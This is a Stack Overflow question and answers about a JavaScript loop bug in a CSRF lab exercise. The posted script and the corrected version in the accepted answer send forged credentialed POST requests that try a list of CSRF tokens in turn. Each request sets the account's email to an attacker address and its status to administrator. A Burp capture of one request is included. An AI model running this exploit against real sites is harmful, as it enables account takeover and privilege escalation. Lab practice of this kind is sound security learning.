JavaScript: Iterate through array in for loop?

Question

I'm working on a CSRF lab and trying to iterate through 20+ tokens.

<script>
    var token = ["f23e7b8c79d33d39ea67f0062b2cdb23", "90b157ac841c5aa7854285ea225c18e3", "9a189a1ef6a01aae6a298a0594831b66"];
    var arrayLength = token.length;
    for (var i = 0; i < arrayLength; i++) {
        function submitRequest() {
            var xhr = new XMLHttpRequest();
            xhr.open("POST", "https://csrf.labs/function.php", true);
            xhr.setRequestHeader("Accept", "application/json, text/javascript, */*; q=0.01");
            xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
            xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
            xhr.withCredentials = true;
            var body = "username=foo&email=hacker%40evil.net&status=administrator&csrf=" + token[i] + "&submit=";
            var aBody = new Uint8Array(body.length);
            for (var i = 0; i < aBody.length; i++)
                aBody[i] = body.charCodeAt(i);
            xhr.send(new Blob([aBody]));
        }
        submitRequest.call();
    };
</script>

I'm using +token[i]+ to insert the token into the csrf param, but viewing the request(s) in Burp, it seems to be "undefined":

POST /function.php HTTP/1.1
Host: csrf.labs
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 89
Origin: null
DNT: 1
Connection: close
Cookie: PHPSESSID=[redacted]
Cache-Control: max-age=0

username=foo&email=hacker%40evil.net&status=administrator&csrf=undefined&submit=

What am I getting wrong here? I'm still new to JavaScript so maybe +token[i]+ isn't the proper way to do this?

Remove the function and change your code to use fetch instead of XHR. — Dai
– Dai, Commented Jun 15, 2020 at 2:07
You are using two loops with the same variable and one is inside the other, there is the problem — Aks Jacoves
– Aks Jacoves, Commented Jun 15, 2020 at 2:11
Change this for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); to for (var b = 0; b < aBody.length; b++) aBody[b] = body.charCodeAt(b); — Aks Jacoves
– Aks Jacoves, Commented Jun 15, 2020 at 2:11

Hao Wu · Accepted Answer · 2020-06-15 02:11:10Z

You're defining i twice in the same scope, either define it with let or use another variable:

var token = ["f23e7b8c79d33d39ea67f0062b2cdb23", "90b157ac841c5aa7854285ea225c18e3", "9a189a1ef6a01aae6a298a0594831b66"];
var arrayLength = token.length;
for (var i = 0; i < arrayLength; i++) {
    function submitRequest() {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "https://csrf.labs/function.php", true);
        xhr.setRequestHeader("Accept", "application/json, text/javascript, */*; q=0.01");
        xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.withCredentials = true;
        var body = "username=foo&email=hacker%40evil.net&status=administrator&csrf=" + token[i] + "&submit=";
        var aBody = new Uint8Array(body.length);
        for (var j = 0; j < aBody.length; j++)
            aBody[j] = body.charCodeAt(j);
        xhr.send(new Blob([aBody]));
    }
    submitRequest.call();
};

Anubhav Jangra · Accepted Answer · 2020-06-15 02:19:00Z

0

When your create the fn submitRequest() a new scope is created that doesn't know about the var token.So i think you need to pass token[i] to your fn while calling and also prototype the fn as per the requirement.

function submitRequest(token){
}
submitRequest(token[i]);

edited Jun 15, 2020 at 2:19

answered Jun 15, 2020 at 2:14

Anubhav Jangra

604 bronze badges

2 Comments

Hao Wu Over a year ago

function submitRequest(var token) is a syntax error, remove the var

Anubhav Jangra Over a year ago

Thanks sir.I am new to js and mixed it with C++ synatx.

Collectives™ on Stack Overflow

JavaScript: Iterate through array in for loop?

2 Answers 2

Comments

2 Comments

Your Answer

Hot Network Questions

Collectives™ on Stack Overflow

2 Answers 2

Comments

2 Comments

Your Answer

Sign up or log in

Post as a guest

Related